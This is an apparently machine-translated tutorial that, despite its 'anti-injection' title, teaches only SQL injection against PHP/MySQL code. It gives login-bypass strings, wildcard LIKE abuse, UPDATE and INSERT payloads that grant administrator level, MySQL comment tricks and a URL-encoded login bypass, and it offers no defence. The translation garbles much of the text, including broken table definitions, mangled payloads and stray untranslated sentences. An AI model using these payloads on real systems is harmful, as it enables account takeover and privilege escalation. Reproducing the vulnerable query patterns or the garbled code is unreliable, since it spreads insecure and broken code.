SQL anti-injection

SQL injection Instance
1.select statement
Typically, when a user logs on, the SQL statement is written like this:
$sql =select * from users where username= ' {$_post[' UNM ']} '

is mainly used to check if this user exists,

If I fill in the username column: 1=1 or 1 = ' 1 '
Then the SQL statement becomes:
SELECT * from users where username=1=1 or 1 = ' 1 ';
You fill it up and try it? It's easy to bypass validation, and the same password can be done when you enter it

You can also fill in this method:%1, or *1, that can bypass validation as long as the wildcard character begins

2. Wildcard characters

<form method= "POST" action= " echo $PHP _self?> ">
<input type= "text" name= "search" ><br>
<input type= "Submit" value= "Search" >
</form>
<?php
.........
SELECT * from the users WHERE username like '% $search% ' ORDER by username
.......
?>

'% ' is the wildcard character, the other wildcard characters are ' * ' and ' _ ', where "*" is used to match the field name, and "%" is used to match the field value, note that the% must be applied with like, and a wildcard, the underscore "_", which represents the difference between the meaning and the above, is used to match any single character. In the code above we used the word ' * ' to indicate all the field names returned, and% $search% to represent all content containing $search characters.

Submit in Table dropdowns
aabb% ' or 1=1 order by id#
Note: #在mysql中表示注释的意思, let the following SQL statements not be executed, as described later.
Maybe someone will ask why they use or 1=1, look below,
Bringing the submitted content into the SQL statement becomes

SELECT * from the users WHERE username like '%aabb% ' or 1=1 the order by id# ORDER by username

If there is no user name containing AABB, then or 1=1 returns the return value as true so that all values can be returned
We can still do this.
Submit in Table dropdowns
% ' ORDER by id#
Or
' ORDER by id#
into the SQL statement.
SELECT * from the users WHERE username like '% ' of ' order by id# ORDER by username
And
SELECT * from the users WHERE username like '% ' order by id# ORDER by username
Of course, the contents are all returned.
List all users yo, maybe even the password is out.
3.update
We first give the structure of the table so that everyone can see
CREATE TABLE Users (
ID Int (a) not NULL auto_increment,
Login varchar (25),
Password varchar (25),
Email varchar (30),
Userlevel tinyint,
PRIMARY KEY (ID)
)
where userlevel level, 1 for administrators, 2 for ordinary users
<?php
change.php
......
$sql = "UPDATE users SET password= ' $pass ', email= ' $email ' WHERE id= ' $id '"
......
?>
Ok, we're starting to inject. Oh, in the place where we add email, we add
Netsh@163.com ', userlevel= ' 1
What the SQL statement does is
UPDATE users SET password= ' Youpass ',
Email= ' netsh@163.com ', userlevel= ' 1 ' WHERE id= ' Youid '
Look at our userlevel is 1, become an administrator yo
Haha, so cool, is a home travel must ah.
Here we simply mention the question of single quote closure, which returns an error if only one single quotation mark is used without the single quotation mark to form a pair. Column types are mainly divided into numeric types, date and time types, string type, while quotation marks are generally used in string types, and in numeric types people do not use quotes (but are useful and powerful), and date and time types are rarely injected (because there are very few commit time variables)

4.insert

Look at the structure of the table first
CREATE TABLE membres (
ID varchar not NULL default ',
Login varchar (25),
Password varchar (25),
Email varchar (30),
Userlevel tinyint,
PRIMARY KEY (ID)
)
We still assume that userlevel represents the user level, 1 for managers, and 2 for ordinary users.
The code is as follows
<?php
reg.php
......
$query = "INSERT into members VALUES (' $id ', ' $login ', ' $pass ', ' $email ', ' 2 ')";
......
?>
The default Insert User level is 2
Now, we're building the injection statement.
or where you want us to enter the email:
Netsh@163.com ', ' 1 ') #
When the SQL statement executes, it becomes:
INSERT into membres VALUES (' youid ', ' youname ', ' youpass ', ' netsh@163.com ', ' 1 ') # ',? ')
Look at us as a registration is the administrator.
#号表示什么来着, not forget, dizzy, so fast?
Forget it, let me give you a detailed
Comments in 5.mysql
This is very important, people can not sleep again, if you go to sleep to the final exam when you hang up.
We continue to
I believe you have seen the powerful effect of annotations in the above examples, and we will give you a detailed introduction here.
MySQL has 3 kinds of annotation syntax
# The line after the annotation is injected
--Injection effect with #
/*/Comment off the middle part of the symbol
For the # number will be our most common annotation method.
--Number remember that there must be a space to play the annotation function.
/*...*/we usually only use the front/* is enough, because we want to add the back is not good, right?
Note: When you enter # in the browser's address bar, you should write it as% 23, so that you can become a # after UrlEncode conversion, which plays a role in annotation. #号在浏览器的地址框中输入的话可什么也不是哦.
For everyone to understand.
Here, I'll give you an example.
Administrator Information table as follows

CREATE TABLE Alphaauthor (
Id tinyint (4) not NULL auto_increment,
UserName varchar not NULL default ',
PASSWORD varchar () default NULL,
Name varchar Default NULL,
PRIMARY KEY (Id),
UNIQUE KEY ID (ID),
KEY id_2 (Id)
)

<?php
login.php
......
$query = "SELECT * from Alphaauthor where username= ' $username ' and password= ' $passwd '";
$result =mysql_query ($query);
$data =mysql_fetch_array ($result);
if ($data)
{
Echo "Important Information";
}
Else
Echo "Landing failed";
......
?>

We entered directly in the browser address box
Http://***/login.php?username=a ' or id=1%23
%23 converted into #.
Put in the SQL statement
SELECT * from Alphaauthor where username= ' a ' or id=1 # ' and password= ' $passwd '
#号后面的都拜输入了, look.
This sentence is equivalent to
SELECT * from Alphaauthor where username= ' a ' or id=1

Take a closer look at the structure of the table, as long as there is a id=1 account, the return of the $data should be true
We just landed, and of course you can write it.
Hppt://***/login.php?username=a ' or 1=1%23
The same.